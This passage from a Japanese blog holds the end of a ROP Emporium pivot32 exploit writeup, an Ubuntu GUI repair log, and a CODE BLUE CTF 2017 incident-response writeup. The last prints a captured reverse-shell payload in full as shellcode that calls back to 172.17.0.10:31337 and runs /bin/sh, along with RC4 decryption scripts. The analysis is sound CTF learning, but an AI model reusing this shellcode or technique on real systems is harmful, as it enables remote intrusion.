  3. 1度目のfgetsで格納したものが実行されていく

3でなにが起こるのかというと,foothold_functionはpivot32の中でまだ1度も呼ばれていないので,ここで初めて呼ぶことによってシンボル解決されます.その結果,GOT領域にfoothold_functionのアドレスが格納されるので,それをprintfで出力しています.出力されたアドレスからその関数のlibpivot32.so内でのオフセットを引きます.オフセットはgdbでもobjdumpでも求まります.

gdbでやってみると,

$ gdb libpivot32.so
i Reading symbols from libpivot32.so...(no debugging symbols found)...done.
gdb-peda$ i func
All defined functions:

Non-debugging symbols:
0x000005c0  _init
0x00000600  printf@plt
0x00000610  system@plt
0x00000620  exit@plt
0x00000640  __x86.get_pc_thunk.bx
0x00000650  deregister_tm_clones
0x00000690  register_tm_clones
0x000006e0  __do_global_dtors_aux
0x00000730  frame_dummy
0x0000076c  __x86.get_pc_thunk.dx
0x00000770  foothold_function
0x0000079b  void_function_01
0x000007c9  void_function_02
0x000007f7  void_function_03
0x00000825  void_function_04
0x00000853  void_function_05
0x00000881  void_function_06
0x000008af  void_function_07
0x000008dd  void_function_08
0x0000090b  void_function_09
0x00000939  void_function_10
0x00000967  ret2win
0x00000995  __x86.get_pc_thunk.ax
0x0000099c  _fini

foothold_functionを見るとアドレスが0x00000770になっていますが,これがlibpivot32.so内でのfoothold_functionのオフセットです.

以上より,上記の1ではprintfのリターン先をmainにしているので,2度目のmainの2度目のfgetsにて,「求めたlibpivot32.soのベースアドレス+ret2winのlibpivot32.so内でのオフセット(0x00000967)」に遷移させれば終わりです.stack pivot + return to libcという感じでしょうか.

exploitは以下のようになります.

exploit

pivot32

$ python pivot32-exploit.py
[+] Starting local process './pivot32': pid 21546
[*] '/home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/pivot32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
    RPATH:    './'
[+] Receiving all data: Done (259B)
[*] Process './pivot32' stopped with exit code 0 (pid 21546)
@\x85��`\x03���Z��pivot by ROP Emporium
32bits

Call ret2win() from libpivot.so
The Old Gods kindly bestow upon you a place to pivot: 0xf6decf08
Send your second chain now and it will land there
> Now kindly send your stack smash
> ROPE{a_placeholder_32byte_flag!}

最後に

ここに書いたwriteupは,恐らく作問者が想定した解法ばかりだと思います.なので,想定していない解法で解くというのもまた楽しいし,勉強になると思います.

以上,激長writeupでしたが誤りがあればコメントなどでお願いいたします.

UbuntuのGUIが死んだ日

はじめに

先日,仙台CTFというイベントに参加したのですが,その際VirtualBoxに入れてある普段本当によく使うUbuntu16.04が,GUIが死んで画面が真っ暗になるという事故が起きていました.

このイベントでは仮想マシンが事前に配られてそれを使うのですが,CTF中は使い慣れたマシンも使いたいという思いがあったので,焦りました.

なんでこんなことが起きたのかというと,自分はWindows10でVirtualBoxを使っているのですが,会場でPCを1度シャットダウンする機会があったんですね.そこで,よく「起動中のプログラムがありますが,本当にシャットダウンしますか?」みたいにOSが気をきかせて言ってくることがあると思うんですけど,その際VirtualBoxが起動していたのですがそのまま気にせずシャットダウンしてしまいました.

今までもそれで不都合が起きたことはなかったので気にはしていなかったのですが,再びWindowsを起動し,VirtualBoxも起動してUbuntuを立ち上げてみたら,

f:id:ywkw1717:20171114071309p:plain

真っ暗なんですね.

流石に焦ったのですが,「Ubuntu 真っ暗」とかで検索かければまぁいろいろ出てくる出てくるで,いくつか試せば簡単に直るやろ!wと思って試してみるも全く直る気配なし.

結局,Ubuntu14.04も入れてあったので,そちらを使ってなんとか乗り切りました.

その後

頑張って直しました.

試したことを時系列順に書こうかと思ったのですが,3つのカテゴリーに分けて箇条書きにしました.

役に立ったこと

/sbinへのPATHが通っておらず,upstart-udev-bridgeがないというエラーが出ていたので,/etc/environmentにPATHを書いた

.xsession-errors を見てみると,以下のようなエラーが出ていました.

f:id:ywkw1717:20171114073323p:plain

そこで, /etc/environment

PATH="/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin:/usr/games:/usr/local/games"

という, .zshrc に書いていたPATHをこちらにも書きました.

これが一番の原因だったっぽい.

lightdmのログを見てみる

/var/log/lightdm/lightdm.log を見てみて,どれが原因なのかわからなかったけど,確かここで上記の .xsession-errors という単語を知ったので,一応は役に立った?

役に立ったのか不明なこと

デスクトップ環境をUnityからGnomeに変更

ディスプレイマネージャーであるlightdmの原因かな?と思い,再インストールやらなんやらやっても直らなかったので,Unityの問題である可能性を考えて,Gnomeを入れてみた.

sudo apt-get install ubuntu-gnome-desktopsudo apt-get install gnome どっちか(それとも両方?)実行した気がする.

(他にも tasksel 使って入れてみたりしたかな?覚えてない)

結局これだけでは直らなかったので,不明.

自動ログインをやめる

自動ログインするように設定していると,デスクトップ環境を選べないため.

これを行ったところ,ログイン画面では止まるようになったが,ログイン後なにも出てこず.

無駄だったこと

unity --reset

コマンドを打つととりあえずGUI環境は出てくるが,全画面表示にならないので,Ctrl + Alt + F7で全画面表示.

再起動するとダメだった.

startx

コンソールから startx を入力することによって,とりあえずGUIは使えるようになったけど,根本的な原因が解決することはなかった.

/var/log/Xorg.0.logにfbdevのエラーが出ていたので,fbdevを入れてみる

GUIが死んだときに真っ先に Xorg.0.log を見て,怪しそうなところを対処してみたやつ.

sudo apt-get install xserver-xorg-video-fbdev

直らない.却下.

sudo apt-get purge xserver-xorg-video-fbdev

compizの問題を疑い,これを初期化してみる

  1. 起動後,Ctrl + Alt + F1でコンソールに入る
  2. DISPLAY=:0.0 gnome-terminal を入力
  3. Alt + F7でデスクトップ画面に復帰すると,新しい端末ウィンドウが出ているので, dconf reset -f /org/compiz/ を入力
  4. sudo shutdown -r now

これもダメだった.

ubuntu-desktopの再インストール

sudo apt-get install --reinstall ubuntu-desktop

これもダメ.

ディスプレイマネージャーの故障を疑い,初期化

/etc/X11/default-display-manager には /usr/sbin/lightdm とあったので,

dpkg-reconfigure lightdm

ダメ.

ディスプレイマネージャーの故障を疑い,再インストール

sudo apt-get purge lightdm からの sudo apt-get install lightdm

ダメ.

lightdmがダメなのかと考え,gdmに変更してみる.

/etc/X11/default-display-manager の内容を /usr/sbin/gdm3 に変更.

すると,起動時に The system is running in low-graphics mode というエラーが出てきて論外.

この後,いろいろやってみてもgdmがダメそうなので,lightdmに戻した.

xorg.confがなかったので,/etc/X11に配置してみる

最初は拾ってきたものを配置してみたけどダメなので,ちゃんとしたものを配置してみる.

Xorg -configure で自分の環境に合った xorg.conf を自動生成してくれる便利コマンドがあるのですが,確かそのまま実行しようとするとエラーを吐かれるので,

  1. sudo systemctl stop lightdm
  2. sudo systemctl disable lightdm

で,ディスプレイマネージャーであるlightdmを止めてから無効化する.

すると, Xorg -configure が通るので,生成された xorg.conf/etc/X11/ 以下に配置.

再起動してみるも,変わらず.ダメ.

VirtualBoxのGuest Additionsを入れなおす

どこかで見かけてやってみたけどダメ.

まとめ

OS入れ直したほうが早いんじゃね?とか思った時もあったので,直ってよかった.

GUIが死んだときに真っ先に見るべき場所としては, /var/log/Xorg.0.log$HOME/.xsession-errors だと思う.

なんのイジメなのか2点ほど新しくバグが出ていて,1つは PrtSc を押すとフリーズするってやつと,もう1つは2回に1回ぐらいログイン画面でフリーズしてコンソールにも入れなくなるというバグ.

そろそろ他のLinux使えっていうことなんですかね.

参考

Linuxをインストールしたのに画面が黒いままで起動しないときの対処例

なんでもかんでもコンピュータ | So-netブログ

本の虫: Ubuntu 14.04のUnityの設定をぶっ壊した場合の修復方法

Ubuntu 16.04 LTS : GNOMEデスクトップ環境 : Server World

Ubuntu Unity その4 - Unity(Compiz)の設定を初期化する - kledgeb

Ubuntu 16.04 Unityが死亡したときの復旧メモ - ばずなダイアリー

Ubuntu 12.10 をインストールしたら low graphics mode になった話 - ぼくたち宇宙人

Ubuntuを起動したら「The system is running in low-graphics mode」と表示され、GUI環境が立ち上がらない - ITに疎いけど興味ある人のブログ

Ubuntuでtasksel : がらくた雑記blog

Ubuntu 14.04でログイン後ランチャーもツールバーも表示されない問題の復旧 - M12i.

Ubuntu系でGUIログイン出来ないのファイル破損かもよ - ぷちてく - Petittech

X Window が起動しなくなった! – KUJIRA note

Blank screen at boot - errors from Upstart on 16.04 - Ask Ubuntu

CODE BLUE CTF 2017 - Incident Response - Writeup

開催期間(JST)

11/09 AM10:00 ~ 11/10 PM4:00

結果

・チーム名:wabisabi

・得点:136 pt

・順位:得点したチーム中,138/555

はじめに

最初は難しすぎる印象があって参加する気がなかったのですが,いざ開始したのを見ると問題だけでも見てみるか,となって結局普通に参加してました.

ですが,Rev問が1問もわからずに諦めかけていたところ,チームメイトの一人が暗号を1問通してくれたので,やる気を取り戻してMiscのIncident Responseをやり始めました.

結局あと少しのところで解けなかったのですが,終了後に作問者のCharo_ITさんのツイートでなるほど,となって解けました.

以下,Writeupです.

Writeup

問題文

We found some strange activities on our web server.
Can you find out what happened?

与えられたターボールを解凍すると, log.pcap という名前のpcapファイルが得られるので,wiresharkで開いてみます.

f:id:ywkw1717:20171111005115p:plain

怪しそうなところをFollow TCP Streamしたところです.

sessidとかはよくわかりませんが...GETなのにデータがくっついてるっぽいです.このバイナリデータはなんでしょうか?

ここの 172.17.0.10 から 172.17.0.2 に対してのHTTPリクエストが,上記のGETリクエストっぽいです.添付されてるデータをRaw(無加工)形式で抽出してみます.

f:id:ywkw1717:20171111005830p:plain

全く分からないバイナリなので,ビットマップ表示してみます.

f:id:ywkw1717:20171111010713p:plain

まだそんなに見慣れていないので断定はできませんが,ELFとかPEとかの実行形式っぽい?でしょうか.

アセンブルしてみます.

$ objdump -b binary -m i386 -M intel -D data > data.dis

f:id:ywkw1717:20171111011353p:plain

中に /bin/sh という文字列があるのですが,そこら辺を上手く逆アセンブルできてないっぽいので,x86-64で再度逆アセンブルしてみます.

$ objdump -b binary -m i386:x86-64 -M intel -D data > data.dis

f:id:ywkw1717:20171111011411p:plain

今度はちゃんといけてるっぽいですね!

あとはこれをひたすら解析していきます.

先頭のほうを見るとわかるのですが, jmp 0x1ba という命令があり,0x1baから始まる関数がmainっぽいです.

残りのバイナリもひたすら読んでいくと,mainとは別に3つの関数があるのがわかります.さらに,システムコールを呼ぶだけの関数?が10個以上あります.

システムコール/usr/include/x86_64-linux-gnu/asm/unistd_64.h を見ながら解析しました.

先頭のほう.

f:id:ywkw1717:20171111012317p:plain

/dev/urandom からデータを読み込む関数. read_urandom と名付けます.

f:id:ywkw1717:20171111012349p:plain

read_urandom で読み込んだ32バイトを元に,なにかテーブルっぽいものを作っている関数. make_table と名付けます.

f:id:ywkw1717:20171111012454p:plain

わからんが,なにか作ってそう. make_something と名付けます.

f:id:ywkw1717:20171111012543p:plain

静的解析だけでもリバースシェルっぽいなとはわかるのですが,詳細な動作はわかりませんし, connect ではどのホストでどのポートに繋いでいるのかもわかりません.

静的解析には限界があるので,動的解析に移りたいです.

先頭の jmp 0x1ba より前の10バイトはゴミっぽいので除いておきます.

char code[] = "\xe9\xab\x01\x00\x00\x48\x31\xc0\x0f\x05\xc3\x48\x31\xc0\x48\xff\xc0\x0f\x05\xc3\x48\xc7\xc0\x02\x00\x00\x00\x0f\x05\xc3\x48\xc7\xc0\x03\x00\x00\x00\x0f\x05\xc3\x48\xc7\xc0\x09\x00\x00\x00\x49\x89\xca\x0f\x05\xc3\x48\xc7\xc0\x16\x00\x00\x00\x0f\x05\xc3\x48\xc7\xc0\x21\x00\x00\x00\x0f\x05\xc3\x48\xc7\xc0\x29\x00\x00\x00\x0f\x05\xc3\x48\xc7\xc0\x2a\x00\x00\x00\x0f\x05\xc3\x48\xc7\xc0\x39\x00\x00\x00\x0f\x05\xc3\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05\xc3\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05\x48\xc7\xc0\x3d\x00\x00\x00\x49\x89\xca\x0f\x05\xc3\x66\x0f\x1f\x84\x00\x00\x00\x00\x00\x55\x53\x48\x89\xfd\x48\xb8\x2f\x64\x65\x76\x2f\x75\x72\x61\x31\xf6\x48\x83\xec\x18\x48\x89\xe7\x48\x89\x04\x24\xc7\x44\x24\x08\x6e\x64\x6f\x6d\xc6\x44\x24\x0c\x00\xe8\x56\xff\xff\xff\x48\x89\xee\x89\xc3\xba\x20\x00\x00\x00\x89\xc7\xe8\x36\xff\xff\xff\x89\xdf\xe8\x48\xff\xff\xff\x48\x83\xc4\x18\x5b\x5d\xc3\x0f\x1f\x00\xc7\x47\x04\x00\x00\x00\x00\xc7\x07\x00\x00\x00\x00\x31\xc0\x90\x88\x44\x07\x08\x48\x83\xc0\x01\x48\x3d\x00\x01\x00\x00\x75\xf0\x31\xc0\x31\xd2\x0f\x1f\x40\x00\x44\x0f\xb6\x44\x07\x08\x48\x89\xc1\x83\xe1\x1f\x45\x89\xc2\x44\x02\x14\x0e\x44\x89\xd1\x01\xca\x0f\xb6\xca\x44\x0f\xb6\x4c\x0f\x08\x48\x89\xca\x44\x88\x4c\x07\x08\x48\x83\xc0\x01\x44\x88\x44\x0f\x08\x48\x3d\x00\x01\x00\x00\x75\xc6\xf3\xc3\x66\x90\x66\x2e\x0f\x1f\x84\x00\x00\x00\x00\x00\x48\x85\xd2\x4c\x8d\x14\x16\x74\x47\x0f\x1f\x80\x00\x00\x00\x00\x8b\x07\x8b\x57\x04\x83\xc0\x01\x0f\xb6\xc0\x89\x07\x0f\xb6\x4c\x07\x08\x01\xca\x0f\xb6\xd2\x89\x57\x04\x44\x0f\xb6\x4c\x17\x08\x44\x88\x4c\x07\x08\x88\x4c\x17\x08\x02\x4c\x07\x08\x0f\xb6\xc9\x0f\xb6\x44\x0f\x08\x30\x06\x48\x83\xc6\x01\x49\x39\xf2\x75\xc0\xf3\xc3\x0f\x1f\x40\x00\x66\x2e\x0f\x1f\x84\x00\x00\x00\x00\x00\x41\x57\x41\x56\x31\xc0\x41\x55\x41\x54\xb9\x21\x00\x00\x00\x55\x53\x48\x81\xec\xb8\x01\x00\x00\x48\x8d\xac\x24\xa0\x00\x00\x00\x48\xc7\x44\x24\x60\x00\x00\x00\x00\x48\xc7\x44\x24\x68\x00\x00\x00\x00\x48\xc7\x44\x24\x70\x00\x00\x00\x00\x48\xc7\x44\x24\x78\x00\x00\x00\x00\x48\x89\xef\x48\xc7\x44\x24\x50\x00\x00\x00\x00\x48\xc7\x44\x24\x58\x00\x00\x00\x00\xf3\x48\xab\xe8\x4c\xfe\xff\xff\x85\xc0\x0f\x85\xe7\x01\x00\x00\x31\xd2\xbe\x01\x00\x00\x00\xbf\x02\x00\x00\x00\xe8\x1f\xfe\xff\xff\x48\x8d\x5c\x24\x60\x48\x8d\x74\x24\x50\xba\x02\x00\x00\x00\xb9\x7a\x69\x00\x00\x66\x89\x54\x24\x50\x89\xc7\xba\x10\x00\x00\x00\x66\x89\x4c\x24\x52\x41\x89\xc4\xc7\x44\x24\x54\xac\x11\x00\x0a\x4c\x8d\x74\x24\x40\xe8\xef\xfd\xff\xff\x48\x89\xdf\xe8\x24\xfe\xff\xff\xba\x20\x00\x00\x00\x48\x89\xde\x44\x89\xe7\xe8\x8f\xfd\xff\xff\x48\x89\xde\x48\x89\xef\xe8\x59\xfe\xff\xff\x45\x31\xc9\x41\xb8\xff\xff\xff\xff\xb9\x22\x00\x00\x00\xba\x03\x00\x00\x00\xbe\x00\x10\x00\x00\x31\xff\xe8\x82\xfd\xff\xff\x48\x89\xc3\x48\x8d\x44\x24\x30\x48\x89\x44\x24\x08\x48\x8d\x44\x24\x20\x48\x89\x44\x24\x18\x48\x8d\x84\x24\x80\x00\x00\x00\x48\x89\x44\x24\x10\x66\x0f\x1f\x44\x00\x00\xba\x00\x10\x00\x00\x48\x89\xde\x44\x89\xe7\xe8\x25\xfd\xff\xff\x48\x85\xc0\x0f\x84\x17\x01\x00\x00\x48\x3d\x00\x10\x00\x00\x74\x04\xc6\x04\x03\x00\x48\x89\xc2\x48\x89\xde\x48\x89\xef\xe8\x4d\xfe\xff\xff\x48\x8b\x7c\x24\x08\xe8\x28\xfd\xff\xff\xe8\x4b\xfd\xff\xff\x85\xc0\x41\x89\xc5\x74\x67\x8b\x7c\x24\x34\xe8\xfc\xfc\xff\xff\xeb\x20\x0f\x1f\x40\x00\x48\x89\xc2\x48\x89\xde\x48\x89\xef\xe8\x1a\xfe\xff\xff\x4c\x89\xfa\x48\x89\xde\x44\x89\xe7\xe8\xc7\xfc\xff\xff\x8b\x7c\x24\x30\xba\x00\x10\x00\x00\x48\x89\xde\xe8\xb0\xfc\xff\xff\x48\x85\xc0\x49\x89\xc7\x75\xcb\x8b\x7c\x24\x30\xe8\xb8\xfc\xff\xff\x48\x8b\x74\x24\x10\x31\xc9\x31\xd2\x44\x89\xef\xe8\x03\xfd\xff\xff\xe9\x54\xff\xff\xff\x0f\x1f\x40\x00\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x31\xff\xc6\x44\x24\x22\x00\x48\x89\x44\x24\x40\xb8\x2d\x63\x00\x00\x4c\x89\xb4\x24\x80\x00\x00\x00\x66\x89\x44\x24\x20\x48\x8b\x44\x24\x18\x48\x89\x9c\x24\x90\x00\x00\x00\x48\xc7\x84\x24\x98\x00\x00\x00\x00\x00\x00\x00\x48\x89\x84\x24\x88\x00\x00\x00\xe8\x50\xfc\xff\xff\x8b\x7c\x24\x30\xe8\x47\xfc\xff\xff\x8b\x7c\x24\x34\xbe\x01\x00\x00\x00\xe8\x5a\xfc\xff\xff\x48\x8b\x74\x24\x10\x31\xd2\x4c\x89\xf7\xe8\x73\xfc\xff\xff\xe9\xd7\xfe\xff\xff\x0f\x1f\x80\x00\x00\x00\x00\x31\xff\xe8\x6a\xfc\xff\xf";

int main(){
  (*(void (*)())code)();
}

ももテクさんの記事( Linux x86用のシェルコードを書いてみる - ももいろテクノロジー )を参考にしました.

以下が,gdb-pedaで解析時の connect を呼ぶ時の引数です.

Guessed arguments:
arg[0]: 0x3 
arg[1]: 0x7fffffffc900 --> 0xa0011ac697a0002 
arg[2]: 0x10 
arg[3]: 0x697a ('zi')

connect を呼ぶ時の引数は connect(3, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("127.0.0.1")}, 16) のようになっているはずですが,そう考えると

arg[0]: 0x3 <- 3
arg[1]: 0x7fffffffc900 --> 0xa0011ac697a0002 <- {sa_family, sin_port, sin_addr}
arg[2]: 0x10 <- 16
arg[3]: 0x697a ('zi')

こんな感じでしょうか.4つ目の引数はよくわかりません.

0xa0011ac697a0002 のうち,どれがホストでどれがポート番号なのかわからないので,ソケット通信するプログラムを拾ってきて,調べたところ,

0a0011ac(ac 11 00 0a -> 172.17.0.10) -> inet_addr
697a(7a69 -> 31337) -> htons
0002(0200 -> AF_INET?)

こんな感じになっていることがわかりました.

ここまでの解析結果をまとめると以下のようになります.

  • 攻撃者(172.17.0.10)と思われる側からサーバ側(172.17.0.2)になんらかの脆弱性を突かれて,シェルが開いた
  • サーバ側から結果を受け取る攻撃者のポート番号は31337

pcapファイルにて,ポート番号31337でフィルター(tcp.port == 31337)してみます.

f:id:ywkw1717:20171111021458p:plain

3way handshake後,なんらかのデータがサーバ側から送られてることがわかります.

32バイトのデータが送られてきている部分↓

f:id:ywkw1717:20171111021828p:plain

2バイトのデータを送っている部分↓

f:id:ywkw1717:20171111021943p:plain

54バイトのデータが送られてきている部分↓

f:id:ywkw1717:20171111022137p:plain

これらを見て,最初の32バイトはわからないにしても, 短いデータを送っているのはコマンドその後返ってきているのは実行結果 みたいに見えてきませんかね?

ただ,暗号化されているっぽくて全く内容はわかりません.

2バイト送っているのは, lsid とかでしょうか.

とにかく,この暗号化されたデータを復号すればフラグが出てきそうです.

再び,逆アセンブル結果を見てみます.

データを送っているのは write を読んでいるところのはずなので,そこに注目して見ていくと,2つのwriteがあることがわかります.

1つは read_urandom を呼んだ後.

もう1つは make_something を呼んだ後.

となると,上記の最初に送られてきている32バイトのデータは /dev/urandom から読み取った値っぽいです.

これが鍵になるのでしょうか?

暗号に疎く,方式が全く分からないので,なにか換字式っぽいものなのかなとしか見当がつきませんでした.

そこで,ローカルでこの環境を再現しようと考えました.

pythonでソケット通信するプログラムを書き,リバースシェル側から /dev/urandom の値が送られてきたら,上記の最初に送っているコマンドっぽい2バイト( \x50\xbd )を送り返すようにします.

/dev/urandom はどうするかというと,上記の32バイトがそれっぽいので,これを urandn とかいうファイル名で /dev 以下に保存しておき,リバースシェルのバイナリの urandom という文字列を urandon に変更して,そこから読み取るようにしました.

これでgdbでステップ実行していくと...

read を呼んで \x50\bd がリバースシェル側に送られた後, make_something が実行されます.

実行後のRBXの値が

RBX: 0x7ffff7ff5000 --> 0x6469 ('id')

ビンゴです!これで他の結果も復号できると考えたのですが...できず.どうやら使用している鍵が変わっているっぽくて,さらに言うと実行結果がどう暗号化されて返ってきているのかも,解析することはできませんでした.

結局復号ができず,仮眠を取って起きてみたらCTFは終了していました.

悔しすぎるのでTwitterで情報収集していたところ,作問者のCharo_ITさんからこんなツイートが.

暗号化方式はRC4というものらしいです.

聞いたことがあるような無いようなもので,調べました.ここでも,ももテクが出てくる辺りももテクすごい.

inaz2.hatenablog.com

ストリーム暗号というものに該当するらしいですね.

上記の記事にあるコードの,keyを /dev/urandom の32バイトに,messageを \x50\xbd に変更して実行してみる.

#!/usr/bin/env python
# -*- coding: utf-8 -*-

def KSA(key):
    # key から256マスの変換テーブル S を作る
    S = range(256)
    j = 0
    for i in xrange(256):
        j = (j + S[i] + ord(key[i % len(key)])) % 256
        S[i], S[j] = S[j], S[i]
    return S

def PRGA(S):
    # S を更新しながら1バイトずつ数字を吐き出すジェネレータを返す
    i, j = 0, 0
    while True:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        K = S[(S[i] + S[j]) % 256]
        yield K

def RC4(data, key):
    # data がメッセージなら暗号化、暗号文なら復号する
    S = KSA(key)
    gen = PRGA(S)
    data = bytearray(data)
    result = bytearray(c ^ n for c, n in zip(data, gen))
    return str(result)

# 鍵とメッセージを準備
key = '\xb0\xf8\x70\xfb\x75\x87\xc0\x48\x2b\xb7\xf7\xc1\xf7\x39\x1f\x9e\x66\xde\x2c\xd9\x25\x58\xca\x1f\x87\xf2\xdf\x23\x2f\xed\xc7\xda'
message = '\x50\xbd'

# 暗号化して、復号する
print "key: %r (%d bits)" % (key, len(key)*8)
print "message: %r" % message
ciphertext = RC4(message, key)
print "ciphertext: %r" % ciphertext
message2 = RC4(ciphertext, key)
print "message2: %r" % message2
$ python decrypt.py
key: '\xb0\xf8p\xfbu\x87\xc0H+\xb7\xf7\xc1\xf79\x1f\x9ef\xde,\xd9%X\xca\x1f\x87\xf2\xdf#/\xed\xc7\xda' (256 bits)
message: 'P\xbd'
ciphertext: 'id'
message2: 'P\xbd'

ア!w

RC4はXORをしているので,暗号文を暗号する,みたいなことをやれば復号できるわけですね.

さぁ,あとはスクリプトを書いて暗号文を全部復号するだけです.

注意なのが,RC4では暗号化の度に毎回テーブルの値(の順番?)が変わっていくので,毎回同じテーブルを使っていると正しく復号できません.

以下が,書いたコード.(ももテクさんの記事にあったコードを,毎回同じテーブルを使わないように変更しただけ)

#!/usr/bin/evn python
# -*- coding: utf-8 -*-

S = range(256)

def KSA(key):
    # key から256マスの変換テーブル S を作る
    j = 0
    for i in xrange(256):
        j = (j + S[i] + ord(key[i % len(key)])) % 256
        S[i], S[j] = S[j], S[i]

def PRGA(S):
    # S を更新しながら1バイトずつ数字を吐き出すジェネレータを返す
    i, j = 0, 0
    while True:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        K = S[(S[i] + S[j]) % 256]
        yield K

def RC4(data, gen):
    # data がメッセージなら暗号化、暗号文なら復号する
    data = bytearray(data)
    result = bytearray(c ^ n for c, n in zip(data, gen))
    print str(result)

def main():
    # 鍵とメッセージを準備
    key = "\xb0\xf8\x70\xfb\x75\x87\xc0\x48\x2b\xb7\xf7\xc1\xf7\x39\x1f\x9e\x66\xde\x2c\xd9\x25\x58\xca\x1f\x87\xf2\xdf\x23\x2f\xed\xc7\xda"
    KSA(key)
    gen = PRGA(S)

    message1 = "\x50\xbd"
    message2 = "\x95\x3b\x7a\xff\xd9\x18\x32\x3a\x33\x28\x32\xe1\x12\xbe\xec\xa9\x46\x30\x7d\x33\x54\xd5\x3c\xbd\xc4\xc1\xcc\x80\x35\x3a\x25\x3d\x88\xbf\x14\x69\xb7\xd1\xf3\x0d\x17\x96\x4c\xb5\x19\x5f\x4c\x7e\x15\xe1\x21\x5b\x5e\x24"
    message3 = "\x10\xb6\xf8"
    message4 = "\x48\xc8\x0c\x81\x3a\xce\x27\x92\xd4\xbd\x18\x75\x1b\xbb\xfc\x49\x15"
    message5 = "\x3c\x18\x14\xac\x38\xa9"
    message6 = "\x1d\x3d\xb5\x74\xae\x8a\x02\x13\x87\x45\x14\xc1\x9e\x2d\xcf\x51\x32\xc0\xb4\xc6\x15\xdb\x67\x31\x36\x72\x2a\x2a\x2d\xad\x9f\x2f\x91\xf6\x84\xfe\xa8\x9d\x60\x3b\x0f\x9d\x22\x16\x5b\x95\x08\xe0\x8b\x82\x3a\x3c\xad\x69\x85\xb9\x13\xaa\xb1\xf3\xad\xff\x74\x72\xc8\x22\xf0\x86\xd9\x16\x23\x3e\x6c\x1f\xfd\xaa\x5f\x9f\x43\xe1\x9b\xb4\x7c\xcd\xa2\xe9\xfc\xd0\xa8\xcd\xbe\x88\xfb\xa2\x2f\x39\xd0\xcb\x01\x4b\x76\x99\x15\xb7\x43\x83\xf6\xf9\x60\xb7\x50\x45\x9c\x9e\x2c\xa6\x02\x3b\xb1\x98\x55\xb4\x43\x08\x29\x1c\x87\x74\x27\xee\x2d\x5d\x32\x1a\x99\xba\x6b\x6e\x8a\xbc\xd1\x35\x8a\x5d\xf7\x69\x46\xc3\x17\x0a\xe2\x62\xac"
    message7 = "\xc9\xaf\x42\x66\x76\xee\x77\xa5\xd1\x0c\xa0\xa3\x22\x05\xb3\x02\x77\x25"
    message8 = "\xc5\x49\x1f\xcb\x60\x22\x9b\x3c\x52\x56\x1f\x98"
    message9 = "\x9a\xc5\x54\xe8\x17\x6f\x91\x7e\x59\xe2\x84\x01\xdb\x8e\xa0"
    message10 = "\xbb\x7d\x76\xd7\x68\xed\xfc\x82\xc4\xe6\x9a\x20\x11\x33\xb6\xe2\x8a\x84\xb2\x1d\x28\xa2\xfe\x71\xe3\x8b\x2b\xaf\x4d\xec\x42\x0b\x5a\x61\x7b\xd1\xde\x09\xb4\x0c\x6f\xae\x70\x0b\x84\xee\xf3\x6a\x95\xd5\x60\xb1\x94\x73\x12\x88\xb3\x9d\x6b\x61\x6f\x17\xa9\xa1\xe3\x22\xb1\xf2\x29\x99\x05\x5f\xce\xd5\x01\xbe\x0c\xf2\xe2\xde\x13\x05\x81\x86\x90\xae\xe8\xa1\xe1\x2e\xee\x5a\x36\x4a\xb6\x1a\xed\xd9\xda\x4c\x1e\xa3\xae\x93\x9b\xbd\xef\xa2\x17\xda\x4d\x77\x64\x81\x0f\x87\xcb\x32\x1b\x77\x0b\x78\xfa\xad\x9d\x6f\xd1\x8b\xbd\x2a\x69\x1d\x45\x5c\x31\x92\xda\xe7\x3f\xa4\xe3\x39\x26\x0c\xa5\x7c\x44\xf3\x90\x94\xb7\xb6\xb3\xc4\x37\xa9\xe0\x59\xb7\x4f\xf7\x54\xb1\x16\x8e\x62\xe3\x81\x3d\x9a\xe9\xe8\xed\xac\xcd\x2a\x89\x7d\x72\x95\x97\x81\x9b\xba\x22\xfa\x60\x66\x37\x99\xd0\x45\x17\x9e\x26\x81\xb4\xb3\x0d\x09\x0f\x3f\x9a\xf4\xfc\xf5\xe0\x20\x4c\x33\x21\x6b\x0b\x6c\x15\x34\xd2\xd0\x7a\xa4\xff\xb4\xac\xd3\x9b\x5e\x45\x28\x95\xf6\x1d\xcb\x7b\x23\xee\x9d\x24\x84\xa0\xa5\x1f\x85\xd5\x39\xf9\x99\x7a\x44\xac\x83\x4d\x7c\x30\x64\x15\xa3\x32\xab\x97\xa6\x1a\x96\x3b\x22\xdd\xee\x16\x83\x01\xb1\xe9\x9c\x3a\x0e\xb2\x14\xc1\xb6\xe9\xad\x67\x2b\x01\x4a\xae\xa6\x5f\xe6\xe4\x43\xe9\x93\x9d\x3a\xf0\x40\xc6\x04\x8a\x25\xc3\xa6\xd0\xf8\x17\x11\xbd\xa1\x7c\x32\x2a\x83\x3e\xca\x20\x99\xd4\x21\x88\xa8\xa7\x35\xa4\xd1\x28\x06\x00\x56\xcc\x92\x6f\xab\xc1\xac\x0c\x84\xfe\x2e\x67\xe1\x54\xcc\x62\xe9\xc9\xe3\xff\x79\x15\xa3\x1b\x5f\xaa\xc6\x37\xc9\x04\xe8\x1e\xc4\x69\xae\xe0\xda\xd7\x1b\xdc\x9c\x7d\x74\x8a\xce\xde\x16\x38\x98\xfc\x97\xcf\x1a\x69\x69\x72\x54\xd9\x39\x57\x38\xb4\xeb\x97\x0e\xf9\xc4\x4c\xbe\xfd\x3b\x75\xf2\xfa\x02\x0e\xc8\x36\x72\xa3\xe6\xc7\x78\xfc\xff\xfa\x51\x31\xf4\x29\xec\x15\x24\x1e\x72\x1e\x6e\xfb\x19\xb1\xbf\x35\x31\xfb\xe0\xb8\x32\x1b\x1e\xd3\x5f\xde\xbc\x19\x3b\xc2\x17\xdf\xe3\x2f\x24\x75\x5b\x5c\x7f\xce\x82\x6a\xe5\xae\x65\x14\xa0\x7d\xd1\x44\x4c\x5a\xcf\xb7\xca\x66\xda\x9e\xc1\xb5\x8d\x61\x35\xff\x45\x85\xa0\x6b\x7b\xce\x94\xe8\xe5\x5d\x66\x0b\x29\x7a\xd3\xfd\x6f\x